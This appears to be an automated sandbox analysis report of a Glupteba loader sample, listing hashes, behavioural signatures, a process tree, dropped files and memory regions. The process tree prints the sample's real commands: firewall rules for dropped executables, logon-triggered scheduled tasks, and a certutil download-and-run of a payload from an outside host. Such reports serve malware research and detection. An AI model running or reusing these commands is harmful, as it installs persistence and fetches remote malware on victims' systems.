Analysis

  • max time kernel
    145s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-09-2024 06:15

General

  • Target

    ecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    ecff3ddeb9411e06c6b7a5282bb1a939

  • SHA1

    35f716b7660645759cf74be5d6281185f05622a5

  • SHA256

    312a482331715e1ef3271139c8ba85bb7e5661e8fcb5111264ea17541159c20c

  • SHA512

    fc887eb9382899e1aa2f2a055aa11dce72fbd9528c8edeed9423ce31a60613ba5d3d54ebe4e84ff19e20c89b2306f5d493333b576e67aca507496fb2c15bc837

  • SSDEEP

    98304:FFL8uGzs+EzrpBxNaDQrVb8n+sHjoAMPeZyGBZg:jL8Fwbbv++lfm8Ug

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3316
    • C:\Users\Admin\AppData\Local\Temp\ecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\ecff3ddeb9411e06c6b7a5282bb1a939_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1364
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2704
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\952df03ad444\952df03ad444.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\952df03ad444\952df03ad444.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3044
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5088
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2728
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:1892
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3540
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4288,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:8
    1⤵
      PID:3656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      Filesize

      3.7MB

      MD5

      ecff3ddeb9411e06c6b7a5282bb1a939

      SHA1

      35f716b7660645759cf74be5d6281185f05622a5

      SHA256

      312a482331715e1ef3271139c8ba85bb7e5661e8fcb5111264ea17541159c20c

      SHA512

      fc887eb9382899e1aa2f2a055aa11dce72fbd9528c8edeed9423ce31a60613ba5d3d54ebe4e84ff19e20c89b2306f5d493333b576e67aca507496fb2c15bc837

    • memory/1364-7-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/1364-8-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/1364-14-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/3316-1-0x0000000000DE0000-0x0000000001197000-memory.dmp

      Filesize

      3.7MB

    • memory/3316-2-0x00000000011A0000-0x000000000189C000-memory.dmp

      Filesize

      7.0MB

    • memory/3316-3-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/3316-5-0x00000000011A0000-0x000000000189C000-memory.dmp

      Filesize

      7.0MB

    • memory/3316-4-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-21-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-26-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-19-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-22-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-23-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-24-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-25-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-20-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-27-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-28-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-29-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-30-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-31-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/4916-32-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB